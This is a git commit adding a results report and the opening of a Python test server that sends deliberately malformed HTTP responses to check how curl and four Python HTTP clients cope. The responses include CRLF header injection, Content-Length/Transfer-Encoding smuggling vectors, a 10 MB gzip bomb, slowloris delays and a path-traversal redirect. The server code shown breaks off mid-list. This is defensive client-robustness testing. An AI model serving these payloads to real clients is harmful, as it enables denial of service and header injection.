Initial commit
This commit is contained in:
516
RESULTS.md
Normal file
516
RESULTS.md
Normal file
@@ -0,0 +1,516 @@
|
||||
# malserv Test Results
|
||||
|
||||
Tested against `badtests.py` on port 60666 using **curl 8.5.0**, **urllib.request**, **http.client**, **requests**, and **aiohttp**.
|
||||
|
||||
Legend: ✅ = accepted/worked | ❌ = rejected/error | ⚠️ = accepted but weird behavior
|
||||
|
||||
---
|
||||
|
||||
## 🚨 Critical: Header Injection via CRLF
|
||||
|
||||
**Endpoint:** `/ct-crlf`
|
||||
|
||||
A `Content-Type` header with embedded `\r\n` injects a fake `X-Injected: true` header. **Every single client accepts it as a real header.**
|
||||
|
||||
```
|
||||
curl -sv http://127.0.0.1:60666/ct-crlf
|
||||
```
|
||||
```
|
||||
< Content-Type: text/html
|
||||
< X-Injected: true
|
||||
```
|
||||
|
||||
**Python (all 4 libraries):**
|
||||
```python
|
||||
# urllib, http.client, requests, aiohttp all show:
|
||||
Headers: {'Content-Type': 'text/html', 'X-Injected': 'true'}
|
||||
```
|
||||
|
||||
**Impact:** Full header injection. An attacker controlling header values can inject arbitrary headers into responses. This enables cache poisoning, XSS via injected headers, session fixation, etc.
|
||||
|
||||
---
|
||||
|
||||
## 🚨 Critical: HTTP Request Smuggling via Duplicate Content-Length
|
||||
|
||||
**Endpoint:** `/hdr-dup-cl`
|
||||
|
||||
Server sends two `Content-Length` headers: `5` and `999`. Different clients pick different values.
|
||||
|
||||
```
|
||||
curl -sv http://127.0.0.1:60666/hdr-dup-cl
|
||||
```
|
||||
```
|
||||
< Content-Length: 5
|
||||
< Content-Length: 999
|
||||
* transfer closed with 994 bytes remaining to read
|
||||
hello
|
||||
```
|
||||
curl uses the **second** CL (999), reads 5 bytes, then reports 994 remaining.
|
||||
|
||||
```python
|
||||
# urllib.request — uses FIRST Content-Length (5), returns body fine
|
||||
Headers: {'Content-Length': '5'}
|
||||
Body: b'hello'
|
||||
|
||||
# http.client — exposes BOTH headers
|
||||
Headers: [('Content-Length', '5'), ('Content-Length', '999')]
|
||||
Body: b'hello'
|
||||
|
||||
# requests — REJECTS
|
||||
ERROR: InvalidHeader: Content-Length contained multiple unmatching values (5, 999)
|
||||
|
||||
# aiohttp — REJECTS
|
||||
ERROR: Duplicate Content-Length
|
||||
```
|
||||
|
||||
**Impact:** Classic request smuggling vector. A proxy using the first CL and a backend using the second will desync, allowing request smuggling attacks.
|
||||
|
||||
---
|
||||
|
||||
## 🚨 Critical: Content-Length + Transfer-Encoding (Smuggling)
|
||||
|
||||
**Endpoint:** `/te-double`
|
||||
|
||||
Server sends both `Content-Length: 5` and `Transfer-Encoding: chunked`.
|
||||
|
||||
```
|
||||
curl -sv http://127.0.0.1:60666/te-double
|
||||
```
|
||||
```
|
||||
< Content-Length: 5
|
||||
< Transfer-Encoding: chunked
|
||||
hello
|
||||
```
|
||||
curl reads body via CL, ignores the chunked TE.
|
||||
|
||||
```python
|
||||
# urllib/http.client/requests — all accept both headers, read body fine
|
||||
Headers: {'Content-Length': '5', 'Transfer-Encoding': 'chunked'}
|
||||
Body: b'hello'
|
||||
|
||||
# aiohttp — REJECTS (correct per RFC 7230)
|
||||
ERROR: Transfer-Encoding can't be present with Content-Length
|
||||
```
|
||||
|
||||
**Impact:** The exact CL+TE desync that enables HTTP request smuggling. Only aiohttp correctly rejects this.
|
||||
|
||||
---
|
||||
|
||||
## ⚠️ High: Python stdlib Accepts ANY Content-Length Value
|
||||
|
||||
**Endpoints:** `/cl-word`, `/cl-empty`, `/cl-negative`, `/cl-float`, `/cl-hex`, `/cl-null`, `/cl-nan`, `/cl-inf`, `/cl-negative-one`
|
||||
|
||||
Python's `urllib.request`, `http.client`, and `requests` accept literally ANY value for Content-Length — words, negative numbers, floats, hex, NaN, Infinity, null bytes. They just store the raw string and read the body from the connection close.
|
||||
|
||||
| Endpoint | curl | urllib/http.client/requests | aiohttp |
|
||||
|----------|------|----------------------------|---------|
|
||||
| `/cl-word` (banana) | ❌ Invalid CL value | ✅ Status 200, body b'hello' | ❌ 400 |
|
||||
| `/cl-empty` ("") | ❌ Invalid CL value | ✅ Status 200, body b'hello' | ❌ 400 |
|
||||
| `/cl-negative` (-99999999999999999) | ❌ Invalid CL value | ✅ Status 200, body b'hello' | ❌ 400 |
|
||||
| `/cl-float` (3.14159) | ⚠️ Reads 3 bytes "hel" | ✅ Status 200, body b'hello' | ❌ 400 |
|
||||
| `/cl-hex` (0xDEAD) | ⚠️ Accepts header, empty body | ✅ Status 200, body b'hello' | ❌ 400 |
|
||||
| `/cl-null` (5\x00) | ❌ Nul byte in header | ✅ Status 200, body b'hello' | ❌ 400 |
|
||||
| `/cl-nan` (NaN) | ❌ Invalid CL value | ✅ Status 200, body b'hello' | ❌ 400 |
|
||||
| `/cl-inf` (Infinity) | ❌ Invalid CL value | ✅ Status 200, body b'hello' | ❌ 400 |
|
||||
| `/cl-negative-one` (-1) | ❌ Invalid CL value | ✅ Status 200, body b'hello' | ❌ 400 |
|
||||
|
||||
**curl is interesting with `/cl-float`:**
|
||||
```
|
||||
curl -sv http://127.0.0.1:60666/cl-float
|
||||
```
|
||||
```
|
||||
< Content-Length: 3.14159
|
||||
hel
|
||||
```
|
||||
curl truncates the float to integer 3 and reads exactly 3 bytes.
|
||||
|
||||
**Impact:** Python stdlib libraries never validate Content-Length. If your code trusts `Content-Length` to be a valid integer, you'll crash or behave unexpectedly. aiohttp is the only Python lib that validates.
|
||||
|
||||
---
|
||||
|
||||
## ⚠️ High: Content-Length Mismatch Silently Truncates
|
||||
|
||||
**Endpoint:** `/cl-mismatch` — CL says 1, body is 30 bytes ("this is way more than one byte")
|
||||
|
||||
```
|
||||
curl -sv http://127.0.0.1:60666/cl-mismatch
|
||||
```
|
||||
```
|
||||
< Content-Length: 1
|
||||
* transfer closed with ... bytes remaining
|
||||
t
|
||||
```
|
||||
|
||||
```python
|
||||
# urllib/http.client/requests — all return only 1 byte
|
||||
Body: b't'
|
||||
|
||||
# aiohttp — REJECTS
|
||||
ERROR: Data after `Connection: close`
|
||||
```
|
||||
|
||||
**Impact:** Data truncation. If a server misconfigures CL, most clients silently drop the rest of the body. Only aiohttp flags this.
|
||||
|
||||
---
|
||||
|
||||
## ⚠️ High: Null Bytes Accepted in Headers by Python stdlib
|
||||
|
||||
**Endpoints:** `/ct-null`, `/cl-null`, `/hdr-null`
|
||||
|
||||
```
|
||||
curl -sv http://127.0.0.1:60666/ct-null
|
||||
```
|
||||
```
|
||||
* Nul byte in header
|
||||
* Closing connection
|
||||
```
|
||||
curl correctly rejects null bytes in headers.
|
||||
|
||||
```python
|
||||
# urllib/http.client/requests — ACCEPT null bytes
|
||||
Headers: {'Content-Type': 'text/\x00html'}
|
||||
Body: b'hello'
|
||||
|
||||
# aiohttp on /ct-null — also ACCEPTS
|
||||
Headers: {'Content-Type': 'text/\x00html'}
|
||||
```
|
||||
|
||||
**Impact:** Null byte injection in headers. Can bypass security filters that use C-style string comparison (null terminates the string early).
|
||||
|
||||
---
|
||||
|
||||
## ⚠️ High: 1000 Headers — curl and aiohttp Accept, stdlib Rejects
|
||||
|
||||
**Endpoint:** `/hdr-1000`
|
||||
|
||||
```
|
||||
curl -sv http://127.0.0.1:60666/hdr-1000
|
||||
```
|
||||
```
|
||||
< X-H0: 0
|
||||
< X-H1: 1
|
||||
... (all 1000 accepted)
|
||||
hello
|
||||
```
|
||||
curl accepts all 1000 headers with no limit.
|
||||
|
||||
```python
|
||||
# urllib/http.client/requests — REJECT
|
||||
ERROR: HTTPException: got more than 100 headers
|
||||
|
||||
# aiohttp — ACCEPTS all 1000
|
||||
Status: 200
|
||||
Body: b'hello'
|
||||
```
|
||||
|
||||
**Impact:** Python stdlib has a 100-header limit (good defense against slow header attacks). curl and aiohttp don't enforce any limit, making them vulnerable to memory exhaustion via header flooding.
|
||||
|
||||
---
|
||||
|
||||
## ⚠️ High: Gzip Bomb Behavior
|
||||
|
||||
**Endpoint:** `/net-gzip-bomb` — 9.7KB compressed → 10MB decompressed
|
||||
|
||||
```
|
||||
curl -sv -o /dev/null http://127.0.0.1:60666/net-gzip-bomb
|
||||
```
|
||||
```
|
||||
< Content-Encoding: gzip
|
||||
< Content-Length: 9750
|
||||
{ [9750 bytes data]
|
||||
```
|
||||
curl downloads 9750 raw bytes (doesn't auto-decompress without `--compressed`).
|
||||
|
||||
```python
|
||||
# urllib/http.client/requests — get raw gzip bytes (no auto-decompress)
|
||||
Body: b'\x1f\x8b\x08\x00...' (9750 raw bytes)
|
||||
|
||||
# aiohttp — AUTO-DECOMPRESSES! Returns null bytes
|
||||
Body: b'\x00\x00\x00\x00\x00...' (8192 bytes of zeros, capped by our read limit)
|
||||
```
|
||||
|
||||
**Impact:** aiohttp auto-decompresses gzip, so a 9.7KB download becomes 10MB in memory. Without read limits, this would be a denial-of-service via memory exhaustion.
|
||||
|
||||
---
|
||||
|
||||
## ⚠️ High: False Content-Encoding Accepted by Most
|
||||
|
||||
**Endpoint:** `/enc-gzip-lie` — says `Content-Encoding: gzip` but body is plaintext
|
||||
|
||||
```
|
||||
curl -sv http://127.0.0.1:60666/enc-gzip-lie
|
||||
```
|
||||
```
|
||||
< Content-Encoding: gzip
|
||||
this is definitely not gzipped
|
||||
```
|
||||
curl delivers the plaintext body despite the gzip header.
|
||||
|
||||
```python
|
||||
# urllib/http.client/requests — accept, return plaintext
|
||||
Body: b'this is definitely not gzipped'
|
||||
|
||||
# aiohttp — REJECTS
|
||||
ERROR: Can not decode content-encoding: gzip
|
||||
```
|
||||
|
||||
**Impact:** Most clients ignore the Content-Encoding mismatch. If your app trusts the header to decompress, it'll crash. Only aiohttp validates.
|
||||
|
||||
---
|
||||
|
||||
## ⚠️ Medium: Invalid Status Codes
|
||||
|
||||
**Endpoints:** `/status-neg`, `/status-zero`, `/status-999`, `/status-huge`, `/status-word`
|
||||
|
||||
| Endpoint | curl | urllib | http.client | requests | aiohttp |
|
||||
|----------|------|--------|-------------|----------|---------|
|
||||
| `/status-neg` (-1) | ❌ Unsupported subversion | ❌ BadStatusLine | ❌ BadStatusLine | ❌ ConnectionError | ❌ 400 |
|
||||
| `/status-zero` (0) | ❌ Unsupported subversion | ❌ BadStatusLine | ❌ BadStatusLine | ❌ ConnectionError | ❌ 400 |
|
||||
| `/status-999` (999) | ✅ Shows "999" | ❌ HTTPError 999 | ✅ Status 999 | ✅ Status 999 | ✅ Status 999 |
|
||||
| `/status-huge` (99999) | ❌ Unsupported subversion | ❌ BadStatusLine | ❌ BadStatusLine | ❌ ConnectionError | ❌ 400 |
|
||||
| `/status-word` (BANANA) | ❌ Unsupported subversion | ❌ BadStatusLine | ❌ BadStatusLine | ❌ ConnectionError | ❌ 400 |
|
||||
|
||||
**Notable:** Status 999 is accepted by curl, http.client, requests, and aiohttp. Only urllib raises an error (treats any non-standard code ≥400 as an HTTPError). A 3-digit status code is technically valid per HTTP spec even if unregistered.
|
||||
|
||||
---
|
||||
|
||||
## ⚠️ Medium: Oversized Headers
|
||||
|
||||
**Endpoints:** `/hdr-mega-name` (64KB header name), `/hdr-mega-val` (1MB header value)
|
||||
|
||||
```python
|
||||
# All Python libs on /hdr-mega-name:
|
||||
# urllib/http.client/requests: LineTooLong: got more than 65536 bytes
|
||||
# aiohttp: Got more than 8190 bytes (65542)
|
||||
```
|
||||
|
||||
curl accepts the 64KB header name but silently closes on the 1MB value.
|
||||
|
||||
**Impact:** aiohttp has the strictest limit (8190 bytes per header line). Python stdlib allows up to 64KB. curl has no apparent limit for header names.
|
||||
|
||||
---
|
||||
|
||||
## ⚠️ Medium: Transfer-Encoding: banana Accepted by All
|
||||
|
||||
**Endpoint:** `/te-invalid`
|
||||
|
||||
```
|
||||
curl -sv http://127.0.0.1:60666/te-invalid
|
||||
```
|
||||
```
|
||||
< Transfer-Encoding: banana
|
||||
hello
|
||||
```
|
||||
|
||||
**Every client accepts `Transfer-Encoding: banana` without complaint.** They all fall back to reading until connection close.
|
||||
|
||||
**Impact:** No client validates the Transfer-Encoding value. A garbage TE value is silently ignored.
|
||||
|
||||
---
|
||||
|
||||
## ⚠️ Medium: Garbage Location URL Causes Different Failures
|
||||
|
||||
**Endpoint:** `/redir-garbage` — Location contains `\x00\xff://💀:99999/../../etc/passwd`
|
||||
|
||||
```
|
||||
curl -sv http://127.0.0.1:60666/redir-garbage
|
||||
```
|
||||
```
|
||||
* Nul byte in header
|
||||
* Closing connection
|
||||
```
|
||||
|
||||
```python
|
||||
# urllib — follows redirect, gets 404 (tries to resolve the garbage URL)
|
||||
ERROR: HTTPError: HTTP Error 404: Not Found
|
||||
|
||||
# http.client — returns raw 301 with the garbage Location
|
||||
Headers: [('Location', '\x00ÿ://ð\x9f\x92\x80:99999/../../etc/passwd')]
|
||||
|
||||
# requests — CRASHES on the byte
|
||||
ERROR: UnicodeDecodeError: 'utf-8' codec can't decode byte 0xff
|
||||
|
||||
# aiohttp — accepts with surrogate escapes
|
||||
Headers: {'Location': '\x00\udcff://💀:99999/../../etc/passwd'}
|
||||
```
|
||||
|
||||
**Impact:** Potential SSRF. urllib actually tries to follow the redirect. requests crashes entirely. http.client exposes path traversal payload.
|
||||
|
||||
---
|
||||
|
||||
## ⚠️ Medium: Redirect Chain Handling
|
||||
|
||||
**Endpoint:** `/redir-chain` — infinite 302 chain with unique URLs
|
||||
|
||||
```
|
||||
curl -sv -L --max-redirs 5 http://127.0.0.1:60666/redir-chain
|
||||
```
|
||||
```
|
||||
< Location: /redir-chain?n=1
|
||||
... (follows 5 hops)
|
||||
* Maximum (5) redirects followed
|
||||
```
|
||||
|
||||
```python
|
||||
# urllib — detects infinite loop
|
||||
ERROR: HTTP Error 302: The HTTP server returned a redirect error that would lead to an infinite loop.
|
||||
|
||||
# http.client — returns first 302 (doesn't follow)
|
||||
Status: 302, Location: /redir-chain?n=1
|
||||
|
||||
# requests — returns first 302 (allow_redirects=False)
|
||||
Status: 302
|
||||
|
||||
# aiohttp — returns first 302 (allow_redirects=False)
|
||||
Status: 302
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## ⚠️ Medium: Slowloris Timing
|
||||
|
||||
**Endpoints:** `/slow-headers` (1 byte per 0.5s), `/slow-body` (1 byte per second)
|
||||
|
||||
```
|
||||
curl -sv --max-time 2 http://127.0.0.1:60666/slow-body
|
||||
```
|
||||
```
|
||||
* Operation timed out after 2001 milliseconds with 2 out of 26 bytes received
|
||||
ab
|
||||
```
|
||||
|
||||
```python
|
||||
# urllib/http.client/requests on /slow-body — WAIT THE FULL 26 SECONDS
|
||||
Body: b'abcdefghijklmnopqrstuvwxyz'
|
||||
|
||||
# aiohttp — gets only 1 byte before timeout
|
||||
Body: b'a'
|
||||
|
||||
# aiohttp on /slow-headers — times out completely
|
||||
ERROR: TimeoutError
|
||||
```
|
||||
|
||||
**Impact:** Python stdlib clients with no timeout will block for the full duration of a slowloris attack. urllib/http.client/requests all waited 26 seconds for the slow body. Only aiohttp's timeout saved it.
|
||||
|
||||
---
|
||||
|
||||
## ⚠️ Medium: Headers Without Colons / Empty Names
|
||||
|
||||
**Endpoint:** `/hdr-no-colon` — sends `BrokenHeaderNoColon` as a header line
|
||||
|
||||
```
|
||||
curl -sv http://127.0.0.1:60666/hdr-no-colon
|
||||
```
|
||||
```
|
||||
* Header without colon
|
||||
* Closing connection
|
||||
```
|
||||
|
||||
```python
|
||||
# urllib/http.client/requests — accept, but headers dict is EMPTY
|
||||
Headers: {}
|
||||
Body: b'hello'
|
||||
|
||||
# aiohttp — REJECTS
|
||||
ERROR: Invalid header token
|
||||
```
|
||||
|
||||
**Endpoint:** `/hdr-empty-name` — sends `: empty_name`
|
||||
|
||||
```python
|
||||
# urllib/http.client/requests — accept, but the empty-name header is silently dropped
|
||||
# aiohttp — REJECTS: "Invalid header token"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## ℹ️ Low: Protocol Violations
|
||||
|
||||
| Endpoint | curl | Python libs |
|
||||
|----------|------|-------------|
|
||||
| `/proto-garbage` (random bytes) | ❌ HTTP/0.9 not allowed | ❌ BadStatusLine (all) |
|
||||
| `/proto-empty` (0 bytes) | ❌ Empty reply | ❌ RemoteDisconnected (all) |
|
||||
| `/proto-half` (HTTP/9.9) | ❌ Unsupported version | ❌ UnknownProtocol (all) |
|
||||
| `/proto-no-headers` (no headers) | ✅ Accepts, reads body | ✅ All accept, body b'hello' |
|
||||
| `/proto-just-newlines` (only CRLF) | ❌ HTTP/0.9 not allowed | ❌ BadStatusLine (all) |
|
||||
|
||||
**Notable:** `/proto-no-headers` — a response with just a status line and body (no headers at all) is accepted by every client. This means you can serve valid responses without any headers.
|
||||
|
||||
---
|
||||
|
||||
## ℹ️ Low: Encoding Mismatches
|
||||
|
||||
**Endpoint:** `/enc-utf16` — body is UTF-16LE, header says `charset=utf-8`
|
||||
|
||||
All clients return the raw bytes without detecting the mismatch. No client validates that the body matches the declared charset.
|
||||
|
||||
**Endpoint:** `/html-utf16` — full HTML page encoded as UTF-16LE with no charset declaration
|
||||
|
||||
```
|
||||
curl -sv http://127.0.0.1:60666/html-utf16
|
||||
```
|
||||
```
|
||||
< h t m l > < h e a d > < t i t l e > U T F - 1 6 L E ...
|
||||
```
|
||||
All clients return the raw UTF-16LE bytes. curl shows the spaced-out text.
|
||||
|
||||
---
|
||||
|
||||
## ℹ️ Low: HTML Content Tests
|
||||
|
||||
These endpoints return valid HTTP with unusual HTML content. All clients accept them since the HTTP layer is valid:
|
||||
|
||||
| Endpoint | What it does | All clients |
|
||||
|----------|-------------|-------------|
|
||||
| `/html-long-title` | 1000-char `<title>` | ✅ Accepted |
|
||||
| `/html-multiline-title` | Newlines in `<title>` | ✅ Accepted |
|
||||
| `/html-irc-title` | `\r\nQUIT` in `<title>` | ✅ Accepted |
|
||||
| `/html-unicode` | Random Unicode 0x1000-0x3000 | ✅ Accepted |
|
||||
| `/html-meta-refresh` | `<meta refresh>` loop | ✅ Accepted (browser-only effect) |
|
||||
| `/ansi-chaos` | ANSI escape codes | ✅ Accepted (terminal-only effect) |
|
||||
|
||||
---
|
||||
|
||||
## Summary: Client Strictness Ranking
|
||||
|
||||
**Most strict → Least strict:**
|
||||
|
||||
1. **aiohttp** — Validates Content-Length format, rejects null bytes in headers, enforces 8190-byte header limit, rejects duplicate CL, rejects CL+TE combo, validates gzip encoding, enforces timeouts. **Best security posture.**
|
||||
|
||||
2. **curl** — Rejects invalid CL values, null bytes, headers without colons. But accepts 1000 headers, emoji Content-Type, status 999, and the CL+TE combo. Interesting float-to-int truncation on CL.
|
||||
|
||||
3. **requests** — Rejects duplicate Content-Length. But accepts everything else that urllib accepts. Crashes on `\xff` byte in Location header.
|
||||
|
||||
4. **urllib.request / http.client** — Accept almost everything. No CL validation, no null byte rejection, no header count limit enforcement (100 limit exists but only in stdlib). Blindly trusts whatever the server sends. **Worst security posture.**
|
||||
|
||||
---
|
||||
|
||||
## Summary Table
|
||||
|
||||
| Test | curl | urllib | http.client | requests | aiohttp |
|
||||
|------|------|--------|-------------|----------|---------|
|
||||
| CL: banana | ❌ | ✅ | ✅ | ✅ | ❌ |
|
||||
| CL: -1 | ❌ | ✅ | ✅ | ✅ | ❌ |
|
||||
| CL: 3.14159 | ⚠️ 3 bytes | ✅ | ✅ | ✅ | ❌ |
|
||||
| CL: 0xDEAD | ⚠️ empty | ✅ | ✅ | ✅ | ❌ |
|
||||
| CL: mismatch | ⚠️ truncate | ⚠️ truncate | ⚠️ truncate | ⚠️ truncate | ❌ |
|
||||
| CL: null byte | ❌ | ✅ | ✅ | ✅ | ❌ |
|
||||
| CT: CRLF inject | ✅ injected | ✅ injected | ✅ injected | ✅ injected | ✅ injected |
|
||||
| CT: emoji | ✅ | ✅ | ✅ | ✅ | ✅ |
|
||||
| CT: 10KB | ✅ | ✅ | ✅ | ✅ | ❌ >8190 |
|
||||
| Status: -1 | ❌ | ❌ | ❌ | ❌ | ❌ |
|
||||
| Status: 999 | ✅ | ❌ HTTPError | ✅ | ✅ | ✅ |
|
||||
| 64KB header name | ✅ | ❌ >65536 | ❌ >65536 | ❌ >65536 | ❌ >8190 |
|
||||
| 1000 headers | ✅ | ❌ >100 | ❌ >100 | ❌ >100 | ✅ |
|
||||
| Dup Content-Length | ⚠️ uses 2nd | ⚠️ uses 1st | ⚠️ both | ❌ | ❌ |
|
||||
| CL + TE (smuggle) | ⚠️ uses CL | ✅ both | ✅ both | ✅ both | ❌ |
|
||||
| TE: banana | ✅ | ✅ | ✅ | ✅ | ✅ |
|
||||
| Bad chunk size | ❌ | ❌ | ❌ | ❌ | ❌ |
|
||||
| No headers | ✅ | ✅ | ✅ | ✅ | ✅ |
|
||||
| Null in header | ❌ | ✅ | ✅ | ✅ | ❌ |
|
||||
| Header no colon | ❌ | ✅ empty | ✅ empty | ✅ empty | ❌ |
|
||||
| Gzip lie | ✅ raw | ✅ raw | ✅ raw | ✅ raw | ❌ decode fail |
|
||||
| Gzip bomb | ✅ raw | ✅ raw | ✅ raw | ✅ raw | ⚠️ decompresses |
|
||||
| Slowloris body | ⚠️ 2s timeout | ⚠️ 26s wait | ⚠️ 26s wait | ⚠️ 26s wait | ⚠️ 1 byte |
|
||||
| Garbage Location | ❌ null byte | ⚠️ follows | ✅ raw | ❌ crash | ✅ surrogates |
|
||||
|
||||
796
badtests.py
Normal file
796
badtests.py
Normal file
@@ -0,0 +1,796 @@
|
||||
#!/usr/bin/env python3
|
||||
'''badtests - malicious HTTP response server with a web UI for testing client resilience'''
|
||||
|
||||
import http.server, socketserver, random, string, html, time, gzip, io, json, threading
|
||||
|
||||
PORT = 60666
|
||||
|
||||
# --- Pre-generated payloads ---
|
||||
_gzbuf = io.BytesIO()
|
||||
with gzip.GzipFile(fileobj=_gzbuf, mode='wb', compresslevel=9) as _gzf:
|
||||
_gzf.write(b'\x00' * 10_000_000)
|
||||
GZIP_BOMB = _gzbuf.getvalue()
|
||||
|
||||
SAFE_SVG = b'<svg xmlns="http://www.w3.org/2000/svg" width="200" height="100"><rect width="200" height="100" fill="#22c55e" rx="8"/><text x="100" y="60" fill="white" font-size="32" font-family="monospace" text-anchor="middle">SAFE</text></svg>'
|
||||
EVIL_SVG = b'<svg xmlns="http://www.w3.org/2000/svg" width="200" height="100"><rect width="200" height="100" fill="#ef4444" rx="8"/><text x="100" y="60" fill="white" font-size="28" font-family="monospace" text-anchor="middle">HACKED</text></svg>'
|
||||
|
||||
VISITOR_LOG = []
|
||||
LOG_LOCK = threading.Lock()
|
||||
|
||||
TESTS = [
|
||||
# (path, title, description)
|
||||
|
||||
# --- Content-Length Abuses ---
|
||||
('/cl-word', 'Content-Length: banana', 'Content-Length set to a word. Python accepts it, curl rejects.'),
|
||||
('/cl-empty', 'Content-Length: (empty)', 'Empty Content-Length header. Python accepts, curl rejects.'),
|
||||
('/cl-negative', 'Content-Length: -99999999999999999', 'Massive negative Content-Length. Python accepts, curl rejects.'),
|
||||
('/cl-huge', 'Content-Length: 99999999999999999', 'Claims ~100 petabytes. Both accept. curl reports remaining bytes.'),
|
||||
('/cl-zero', 'Content-Length: 0 (body sent)', 'CL is 0 but server sends "surprise!". Both read 0 bytes. Wire shows body was sent.'),
|
||||
('/cl-float', 'Content-Length: 3.14159', 'Float CL. curl truncates to 3 (returns "hel"). Python ignores it, returns all 5 bytes.'),
|
||||
('/cl-hex', 'Content-Length: 0xDEAD', 'Hex CL. curl treats as 0 (empty body). Python ignores it, returns all 5 bytes.'),
|
||||
('/cl-null', 'Content-Length: 5\\x00', 'Null byte after digit. curl rejects (Nul byte in header). Python accepts silently.'),
|
||||
('/cl-negative-one', 'Content-Length: -1', 'Simple negative CL. curl rejects, Python accepts.'),
|
||||
('/cl-nan', 'Content-Length: NaN', 'NaN as CL. curl rejects, Python accepts.'),
|
||||
('/cl-inf', 'Content-Length: Infinity', 'Infinity as CL. curl rejects, Python accepts.'),
|
||||
('/cl-mismatch', 'Content-Length: 1 (body is 30 bytes)', 'CL says 1, body is 30 bytes. Both read exactly 1 byte. Extra data poisons keep-alive.'),
|
||||
|
||||
# --- Content-Type Abuses ---
|
||||
('/ct-garbage', 'Content-Type: 200 random chars', 'Random printable chars with \\n \\r \\t. Accidental CRLF injection. Different every time.'),
|
||||
('/ct-multi', 'Content-Type: 5 MIME types', 'Comma-separated MIME types. Both accept. RFC says only one allowed.'),
|
||||
('/ct-empty', 'Content-Type: (empty)', 'Empty Content-Type. Both accept without complaint.'),
|
||||
('/ct-null', 'Content-Type: text/\\x00html', 'Null byte in MIME type. curl rejects, Python accepts with null present.'),
|
||||
('/ct-emoji', 'Content-Type: 💀/🔥', 'Emoji MIME type. Both accept. Violates HTTP/1.1 ASCII requirement.'),
|
||||
('/ct-mega', 'Content-Type: 10KB long', '10,000 A characters. Both accept. No header length limit enforced.'),
|
||||
('/ct-crlf', 'Content-Type with CRLF injection', '🚨 CRITICAL: Injects X-Injected: true header via CRLF in Content-Type value. Works on BOTH.'),
|
||||
('/ct-semicolon', 'Content-Type with 50 charset params', '50 repeated ;charset=utf-8 params. Both accept. Parser could waste cycles.'),
|
||||
|
||||
# --- Status Code Abuses ---
|
||||
('/status-neg', 'Status: -1', 'Negative status code. Both reject.'),
|
||||
('/status-zero', 'Status: 0', 'Zero status code. Both reject.'),
|
||||
('/status-999', 'Status: 999', 'Out-of-range 3-digit status. Both accept. RFC defines 100-599 only.'),
|
||||
('/status-huge', 'Status: 99999', '5-digit status code. Both reject.'),
|
||||
('/status-word', 'Status: BANANA', 'Non-numeric status. Both reject.'),
|
||||
|
||||
# --- Header Abuses ---
|
||||
('/hdr-mega-name', 'Header name: 64KB of As', 'curl accepts (no limit). Python rejects (LineTooLong >65536 bytes).'),
|
||||
('/hdr-mega-val', 'Header value: 1MB of Bs', 'Both reject. Python hits 64KB line limit. curl chokes on 1MB buffer.'),
|
||||
('/hdr-1000', '1000 headers', 'curl accepts all 1000. Python rejects (>100 headers).'),
|
||||
('/hdr-empty-name', 'Header: : empty_name', 'Empty header name. Both accept. Violates RFC 7230.'),
|
||||
('/hdr-no-colon', 'Header without colon', 'curl rejects. Python silently drops the malformed line and continues.'),
|
||||
('/hdr-dup-cl', 'Duplicate Content-Length: 5 and 999', '🚨 CRITICAL: Smuggling vector. curl uses second CL (999). Python sees both.'),
|
||||
('/hdr-null', 'Header with null bytes', 'curl rejects (Nul byte in header). Python accepts, drops the null header.'),
|
||||
('/hdr-newline', 'Header with bare \\n', 'curl rejects (Header without colon). Python treats as line folding.'),
|
||||
|
||||
# --- Body Abuses ---
|
||||
('/body-endless', 'Infinite body stream', '⚠️ WARNING: Streams 1KB/sec forever. Use --max-time. Neither client protects against this.'),
|
||||
('/body-none', 'Content-Length: 5, no body', 'Promises 5 bytes, sends 0. curl reports transfer closed. Python returns empty, no error.'),
|
||||
('/body-binary', '4KB binary as text/html', 'Random binary with text/html Content-Type. Both accept. No content validation.'),
|
||||
|
||||
# --- Transfer-Encoding Abuses ---
|
||||
('/te-invalid', 'Transfer-Encoding: banana', 'Unknown TE. Both accept and ignore it. RFC says this should be an error.'),
|
||||
('/te-double', 'Content-Length + Transfer-Encoding', '🚨 CRITICAL: Smuggling vector. curl prefers CL, Python prefers TE. Clients disagree.'),
|
||||
('/te-bad-chunk', 'Chunked with ZZZ chunk size', 'Invalid hex in chunk size. Both correctly reject.'),
|
||||
|
||||
# --- Protocol Abuses ---
|
||||
('/proto-garbage', '512 random bytes (no HTTP)', 'Pure garbage. Both reject.'),
|
||||
('/proto-empty', 'Empty response (0 bytes)', 'Server closes immediately. Both reject.'),
|
||||
('/proto-half', 'HTTP/9.9 version', 'Unknown HTTP version. Both reject.'),
|
||||
('/proto-no-headers', 'Status line + body, no headers', 'Zero headers. Both accept. Valid in HTTP/1.0 but violates HTTP/1.1.'),
|
||||
('/proto-just-newlines', 'Response is just \\r\\n\\r\\n\\r\\n', 'Only blank CRLF lines. Both reject.'),
|
||||
|
||||
# --- Encoding Abuses ---
|
||||
('/enc-utf16', 'Body is UTF-16, header says UTF-8', 'Mismatched encoding. Both accept raw bytes. Consuming app would decode garbage.'),
|
||||
('/enc-gzip-lie', 'Content-Encoding: gzip (plaintext body)', 'Claims gzip, sends plaintext. Both accept without decompressing by default.'),
|
||||
|
||||
# --- Redirect Abuses ---
|
||||
('/redir-self', '301 → /redir-self (loop)', 'Infinite redirect loop. curl follows up to --max-redirs. Python http.client does not follow.'),
|
||||
('/redir-garbage', '301 → \\x00\\xff://💀:99999/../../etc/passwd', 'Garbage URL with null bytes, emoji, bad port, path traversal. curl rejects, Python accepts (SSRF risk).'),
|
||||
('/redir-chain', '302 → /redir-chain?n=N+1 (infinite unique chain)', 'Infinite redirect with unique URLs each hop. Defeats redirect loop detection. curl follows --max-redirs (default 50).'),
|
||||
|
||||
# --- Timing Abuses ---
|
||||
('/slow-headers', 'Slowloris: 1 byte per 0.5s headers', '⚠️ WARNING: Hangs until timeout. Classic slowloris attack.'),
|
||||
('/slow-body', 'Body: 1 byte per second (a-z)', '⚠️ WARNING: Takes 26 seconds without timeout.'),
|
||||
|
||||
# --- HTML/Content Abuses ---
|
||||
('/html-utf16', 'Full HTML page encoded as UTF-16LE', 'Title and body encoded as UTF-16LE but served as text/html with no charset. Browser/parser gets mojibake.'),
|
||||
('/html-long-title', 'HTML title is 1000 characters', 'Absurdly long <title> tag (1000 A chars). Tests tab/title bar handling in browsers and parsers.'),
|
||||
('/html-multiline-title', 'HTML title with embedded newlines', 'Title contains literal \\n characters. Some parsers collapse whitespace, others preserve. Tab bars get weird.'),
|
||||
